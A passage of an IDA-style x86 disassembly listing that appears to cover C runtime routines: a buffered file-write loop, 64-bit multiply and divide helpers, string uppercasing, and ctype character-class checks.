mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_42114F
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_42114F: ; CODE XREF: sub_421050+C9j
; sub_421050+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_42E4E0
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_421170: ; CODE XREF: sub_421050+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_421180 proc near ; CODE XREF: sub_4133AE+19Ep
; sub_414103+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_421199
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_421199: ; CODE XREF: sub_421180+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_421180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211C0 proc near ; CODE XREF: sub_416B2D+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_422420
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421200
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_422490
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4211C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421200 proc near ; CODE XREF: sub_4211C0+20p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_421229
xor eax, eax
jmp loc_421415
; ---------------------------------------------------------------------------
loc_421229: ; CODE XREF: sub_421200+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_421244
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_42124B
; ---------------------------------------------------------------------------
loc_421244: ; CODE XREF: sub_421200+37j
mov [ebp+var_1C], 1000h
loc_42124B: ; CODE XREF: sub_421200+42j
; sub_421200:loc_42140Dj
cmp [ebp+var_C], 0
jz loc_421412
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz short loc_4212D9
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_4212D9
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_421281
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_42128A
; ---------------------------------------------------------------------------
loc_421281: ; CODE XREF: sub_421200+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_42128A: ; CODE XREF: sub_421200+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
push ecx
call sub_41FBF0
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_42140D
; ---------------------------------------------------------------------------
loc_4212D9: ; CODE XREF: sub_421200+63j
; sub_421200+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_4213AF
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
and eax, 108h
test eax, eax
jz short loc_421314
mov ecx, [ebp+arg_C]
push ecx
call sub_422F20
add esp, 4
test eax, eax
jz short loc_421314
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_421415
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_421200+F2j
; sub_421200+102j
cmp [ebp+var_1C], 0
jz short loc_42132C
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_421332
; ---------------------------------------------------------------------------
loc_42132C: ; CODE XREF: sub_421200+118j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_421332: ; CODE XREF: sub_421200+12Aj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_42E940
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_421377
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_421415
; ---------------------------------------------------------------------------
loc_421377: ; CODE XREF: sub_421200+156j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
cmp eax, [ebp+var_18]
jnb short loc_4213AD
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_421415
; ---------------------------------------------------------------------------
loc_4213AD: ; CODE XREF: sub_421200+18Fj
jmp short loc_42140D
; ---------------------------------------------------------------------------
loc_4213AF: ; CODE XREF: sub_421200+DFj
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_427CE0
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_4213DA
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_421415
; ---------------------------------------------------------------------------
loc_4213DA: ; CODE XREF: sub_421200+1CBj
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+18h], 0
jle short loc_421400
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_28], eax
jmp short loc_421407
; ---------------------------------------------------------------------------
loc_421400: ; CODE XREF: sub_421200+1F3j
mov [ebp+var_28], 1
loc_421407: ; CODE XREF: sub_421200+1FEj
mov ecx, [ebp+var_28]
mov [ebp+var_1C], ecx
loc_42140D: ; CODE XREF: sub_421200+D4j
; sub_421200:loc_4213ADj
jmp loc_42124B
; ---------------------------------------------------------------------------
loc_421412: ; CODE XREF: sub_421200+4Fj
mov eax, [ebp+arg_8]
loc_421415: ; CODE XREF: sub_421200+24j
; sub_421200+10Fj ...
mov esp, ebp
pop ebp
retn
sub_421200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421420 proc near ; CODE XREF: sub_417264+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:off_4F536C
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_42144B
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42147C
; ---------------------------------------------------------------------------
loc_42144B: ; CODE XREF: sub_421420+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_42147A
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_42147A
call sub_429A90
mov dword ptr [eax], 0Dh
call sub_429AA0
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_42147C
; ---------------------------------------------------------------------------
loc_42147A: ; CODE XREF: sub_421420+33j
; sub_421420+3Dj
xor eax, eax
loc_42147C: ; CODE XREF: sub_421420+29j
; sub_421420+58j
mov esp, ebp
pop ebp
retn
sub_421420 endp
; =============== S U B R O U T I N E =======================================
sub_421480 proc near ; CODE XREF: sub_41727E+3Fp
; sub_41B605+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4214A2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4214E3
; ---------------------------------------------------------------------------
loc_4214A2: ; CODE XREF: sub_421480+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4214B0: ; CODE XREF: sub_421480+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4214B0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4214DE
cmp edx, [esp+8+arg_4]
ja short loc_4214DE
jb short loc_4214DF
cmp eax, [esp+8+arg_0]
jbe short loc_4214DF
loc_4214DE: ; CODE XREF: sub_421480+4Ej
; sub_421480+54j
dec esi
loc_4214DF: ; CODE XREF: sub_421480+56j
; sub_421480+5Cj
xor edx, edx
mov eax, esi
loc_4214E3: ; CODE XREF: sub_421480+20j
pop esi
pop ebx
retn 10h
sub_421480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4214F0 proc near ; CODE XREF: sub_41727E+2Dp
; sub_41B605+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_421511
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_421561
; ---------------------------------------------------------------------------
loc_421511: ; CODE XREF: sub_4214F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_42151F: ; CODE XREF: sub_4214F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_42151F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_42154A
cmp edx, [esp+4+arg_4]
ja short loc_42154A
jb short loc_421552
cmp eax, [esp+4+arg_0]
jbe short loc_421552
loc_42154A: ; CODE XREF: sub_4214F0+4Aj
; sub_4214F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_421552: ; CODE XREF: sub_4214F0+52j
; sub_4214F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_421561: ; CODE XREF: sub_4214F0+1Fj
pop ebx
retn 10h
sub_4214F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_421570 proc near ; CODE XREF: sub_41738D+5Ep
; sub_41738D+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_421591
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_421591: ; CODE XREF: sub_421570+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_4215AD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_4215AD: ; CODE XREF: sub_421570+27j
or eax, eax
jnz short loc_4215C9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_42160A
; ---------------------------------------------------------------------------
loc_4215C9: ; CODE XREF: sub_421570+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4215D7: ; CODE XREF: sub_421570+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4215D7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_421605
cmp edx, [esp+0Ch+arg_4]
ja short loc_421605
jb short loc_421606
cmp eax, [esp+0Ch+arg_0]
jbe short loc_421606
loc_421605: ; CODE XREF: sub_421570+85j
; sub_421570+8Bj
dec esi
loc_421606: ; CODE XREF: sub_421570+8Dj
; sub_421570+93j
xor edx, edx
mov eax, esi
loc_42160A: ; CODE XREF: sub_421570+57j
dec edi
jnz short loc_421614
neg edx
neg eax
sbb edx, 0
loc_421614: ; CODE XREF: sub_421570+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_421570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421620 proc near ; CODE XREF: sub_417A3E+BFp
; sub_417A3E+12Cp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_8], 0
cmp ds:dword_4F33F8, 0
jnz short loc_42167D
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
jmp short loc_421647
; ---------------------------------------------------------------------------
loc_42163E: ; CODE XREF: sub_421620:loc_421673j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_421647: ; CODE XREF: sub_421620+1Cj
mov edx, [ebp+var_10]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_421675
mov ecx, [ebp+var_10]
movsx edx, byte ptr [ecx]
cmp edx, 61h
jl short loc_421673
mov eax, [ebp+var_10]
movsx ecx, byte ptr [eax]
cmp ecx, 7Ah
jg short loc_421673
mov edx, [ebp+var_10]
mov al, [edx]
add al, 0E0h
mov ecx, [ebp+var_10]
mov [ecx], al
loc_421673: ; CODE XREF: sub_421620+3Aj
; sub_421620+45j
jmp short loc_42163E
; ---------------------------------------------------------------------------
loc_421675: ; CODE XREF: sub_421620+2Fj
mov eax, [ebp+arg_0]
jmp loc_4217DB
; ---------------------------------------------------------------------------
loc_42167D: ; CODE XREF: sub_421620+14j
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_4216AF
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_C], 1
jmp short loc_4216B6
; ---------------------------------------------------------------------------
loc_4216AF: ; CODE XREF: sub_421620+6Fj
mov [ebp+var_C], 0
loc_4216B6: ; CODE XREF: sub_421620+8Dj
cmp ds:dword_4F33F8, 0
jnz short loc_421724
cmp [ebp+var_C], 0
jz short loc_4216D1
push 13h
call sub_423320
add esp, 4
jmp short loc_4216DC
; ---------------------------------------------------------------------------
loc_4216D1: ; CODE XREF: sub_421620+A3j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_4216DC: ; CODE XREF: sub_421620+AFj
mov edx, [ebp+arg_0]
mov [ebp+var_14], edx
jmp short loc_4216ED
; ---------------------------------------------------------------------------
loc_4216E4: ; CODE XREF: sub_421620:loc_42171Aj
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_4216ED: ; CODE XREF: sub_421620+C2j
mov ecx, [ebp+var_14]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42171C
mov eax, [ebp+var_14]
movsx ecx, byte ptr [eax]
cmp ecx, 61h
jl short loc_42171A
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx]
cmp eax, 7Ah
jg short loc_42171A
mov ecx, [ebp+var_14]
mov dl, [ecx]
add dl, 0E0h
mov eax, [ebp+var_14]
mov [eax], dl
loc_42171A: ; CODE XREF: sub_421620+E0j
; sub_421620+EBj
jmp short loc_4216E4
; ---------------------------------------------------------------------------
loc_42171C: ; CODE XREF: sub_421620+D5j
mov eax, [ebp+arg_0]
jmp loc_4217DB
; ---------------------------------------------------------------------------
loc_421724: ; CODE XREF: sub_421620+9Dj
push 1
push 0
push 0
push 0
push 0FFFFFFFFh
mov ecx, [ebp+arg_0]
push ecx
push 200h
mov edx, ds:dword_4F33F8
push edx
call sub_42EC50
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_421751
jmp short loc_4217AD
; ---------------------------------------------------------------------------
loc_421751: ; CODE XREF: sub_421620+12Dj
push 62h
push offset dword_43CDC0
push 2
mov eax, [ebp+var_4]
push eax
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_421771
jmp short loc_4217AD
; ---------------------------------------------------------------------------
loc_421771: ; CODE XREF: sub_421620+14Dj
push 1
push 0
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
push 0FFFFFFFFh
mov eax, [ebp+arg_0]
push eax
push 200h
mov ecx, ds:dword_4F33F8
push ecx
call sub_42EC50
add esp, 20h
test eax, eax
jnz short loc_42179D
jmp short loc_4217AD
; ---------------------------------------------------------------------------
loc_42179D: ; CODE XREF: sub_421620+179j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41F620
add esp, 8
loc_4217AD: ; CODE XREF: sub_421620+12Fj
; sub_421620+14Fj ...
cmp [ebp+var_C], 0
jz short loc_4217BF
push 13h
call sub_423320
add esp, 4
jmp short loc_4217CA
; ---------------------------------------------------------------------------
loc_4217BF: ; CODE XREF: sub_421620+191j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_4217CA: ; CODE XREF: sub_421620+19Dj
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_41CA10
add esp, 8
mov eax, [ebp+arg_0]
loc_4217DB: ; CODE XREF: sub_421620+58j
; sub_421620+FFj
mov esp, ebp
pop ebp
retn
sub_421620 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421803
push 103h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_42181A
; ---------------------------------------------------------------------------
loc_421803: ; CODE XREF: _0:004217EBj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42181A: ; CODE XREF: _0:00421801j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421850
push 1
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421865
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: _0:0042183Bj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_421865: ; CODE XREF: _0:0042184Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421890
push 2
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_4218A5
; ---------------------------------------------------------------------------
loc_421890: ; CODE XREF: _0:0042187Bj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_4218A5: ; CODE XREF: _0:0042188Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4218B0 proc near ; CODE XREF: sub_418428+1A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_4218D0
push 4
mov eax, [ebp+arg_0]
push eax
call sub_427040
add esp, 8
mov [ebp+var_4], eax
jmp short loc_4218E5
; ---------------------------------------------------------------------------
loc_4218D0: ; CODE XREF: sub_4218B0+Bj
mov ecx, [ebp+arg_0]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_4218E5: ; CODE XREF: sub_4218B0+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4218B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421913
push 80h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_42192A
; ---------------------------------------------------------------------------
loc_421913: ; CODE XREF: _0:004218FBj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_42192A: ; CODE XREF: _0:00421911j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421940 proc near ; CODE XREF: sub_429E90+105p
; sub_42B350+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421960
push 8
mov eax, [ebp+arg_0]
push eax
call sub_427040
add esp, 8
mov [ebp+var_4], eax
jmp short loc_421975
; ---------------------------------------------------------------------------
loc_421960: ; CODE XREF: sub_421940+Bj
mov ecx, [ebp+arg_0]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_421975: ; CODE XREF: sub_421940+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421940 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_4219A0
push 10h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_4219B5
; ---------------------------------------------------------------------------
loc_4219A0: ; CODE XREF: _0:0042198Bj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_4219B5: ; CODE XREF: _0:0042199Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_4219E3
push 107h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_4219FA
; ---------------------------------------------------------------------------
loc_4219E3: ; CODE XREF: _0:004219CBj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_4219FA: ; CODE XREF: _0:004219E1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421A33
push 157h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421A4A
; ---------------------------------------------------------------------------
loc_421A33: ; CODE XREF: _0:00421A1Bj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_421A4A: ; CODE XREF: _0:00421A31j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421A83
push 117h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421A9A
; ---------------------------------------------------------------------------
loc_421A83: ; CODE XREF: _0:00421A6Bj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_421A9A: ; CODE XREF: _0:00421A81j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_453DF0, 1
jle short loc_421AD0
push 20h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421AE5
; ---------------------------------------------------------------------------
loc_421AD0: ; CODE XREF: _0:00421ABBj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_421AE5: ; CODE XREF: _0:00421ACEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_453DF0, 1
jle short loc_421B35
push 103h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421B4C
; ---------------------------------------------------------------------------
loc_421B35: ; CODE XREF: _0:00421B1Dj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_421B4C: ; CODE XREF: _0:00421B33j
cmp dword ptr [ebp-4], 0
jnz short loc_421B61
cmp dword ptr [ebp+8], 5Fh
jz short loc_421B61
mov dword ptr [ebp-8], 0
jmp short loc_421B68
; ---------------------------------------------------------------------------
loc_421B61: ; CODE XREF: _0:00421B50j _0:00421B56j
mov dword ptr [ebp-8], 1
loc_421B68: ; CODE XREF: _0:00421B5Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_453DF0, 1
jle short loc_421B95
push 107h
mov eax, [ebp+8]
push eax
call sub_427040
add esp, 8
mov [ebp-4], eax
jmp short loc_421BAC
; ---------------------------------------------------------------------------
loc_421B95: ; CODE XREF: _0:00421B7Dj
mov ecx, [ebp+8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_421BAC: ; CODE XREF: _0:00421B93j
cmp dword ptr [ebp-4], 0
jnz short loc_421BC1
cmp dword ptr [ebp+8], 5Fh
jz short loc_421BC1
mov dword ptr [ebp-8], 0
jmp short loc_421BC8
; ---------------------------------------------------------------------------
loc_421BC1: ; CODE XREF: _0:00421BB0j _0:00421BB6j
mov dword ptr [ebp-8], 1
loc_421BC8: ; CODE XREF: _0:00421BBFj
mov eax, [ebp-8]
